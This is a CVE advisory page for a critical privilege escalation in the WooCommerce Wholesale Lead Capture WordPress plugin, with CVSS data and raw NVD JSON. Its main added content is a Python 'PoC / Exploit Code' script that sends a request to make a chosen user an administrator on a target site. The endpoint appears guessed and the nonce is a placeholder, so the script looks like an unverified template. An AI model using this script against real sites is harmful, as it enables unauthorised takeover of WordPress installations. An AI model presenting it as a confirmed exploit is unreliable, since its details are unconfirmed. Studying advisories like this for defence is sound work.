Security Vulnerability Report
中文
CVE-2026-27542 CVSS 9.8 CRITICAL

CVE-2026-27542

Published: 2026-03-19 06:16:26
Last Modified: 2026-04-29 10:16:56

Description

Incorrect Privilege Assignment vulnerability in Rymera Web Co Pty Ltd. Woocommerce Wholesale Lead Capture woocommerce-wholesale-lead-capture allows Privilege Escalation.This issue affects Woocommerce Wholesale Lead Capture: from n/a through <= 2.0.3.1.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Woocommerce Wholesale Lead Capture <= 2.0.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-27542 PoC - Privilege Escalation in WooCommerce Wholesale Lead Capture # Target: WordPress site with vulnerable WooCommerce Wholesale Lead Capture plugin (<=2.0.3.1) TARGET_URL = "http://target-wordpress-site.com" ATTACKER_ID = "1" # Attacker user ID TARGET_ROLE = "administrator" # Target role to escalate to def exploit_privilege_escalation(): """ Exploit incorrect privilege assignment vulnerability to escalate current user to administrator role """ # Step 1: Identify vulnerable endpoint endpoint = f"{TARGET_URL}/wp-json/wwlc/v1/user-role" # Step 2: Prepare malicious request to modify user role payload = { "user_id": ATTACKER_ID, "role": TARGET_ROLE } headers = { "Content-Type": "application/json", "X-WP-Nonce": "bypass_or_retrieve_nonce" # May need to retrieve valid nonce } try: # Step 3: Send privilege escalation request response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Privilege escalation successful!") print(f"[+] User {ATTACKER_ID} is now: {TARGET_ROLE}") print("[+] Access admin panel at:", f"{TARGET_URL}/wp-admin") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("CVE-2026-27542 - WooCommerce Wholesale Lead Capture Privilege Escalation") print("=" * 60) exploit_privilege_escalation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-27542", "sourceIdentifier": "[email protected]", "published": "2026-03-19T06:16:25.983", "lastModified": "2026-04-29T10:16:56.083", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Privilege Assignment vulnerability in Rymera Web Co Pty Ltd. Woocommerce Wholesale Lead Capture woocommerce-wholesale-lead-capture allows Privilege Escalation.This issue affects Woocommerce Wholesale Lead Capture: from n/a through <= 2.0.3.1."}, {"lang": "es", "value": "Vulnerabilidad de Asignación Incorrecta de Privilegios en Rymera Web Co Pty Ltd. Woocommerce Wholesale Lead Capture permite la escalada de privilegios. Este problema afecta a Woocommerce Wholesale Lead Capture: desde n/a hasta 2.0.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/woocommerce-wholesale-lead-capture/vulnerability/wordpress-woocommerce-wholesale-lead-capture-plugin-1-17-8-privilege-escalation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}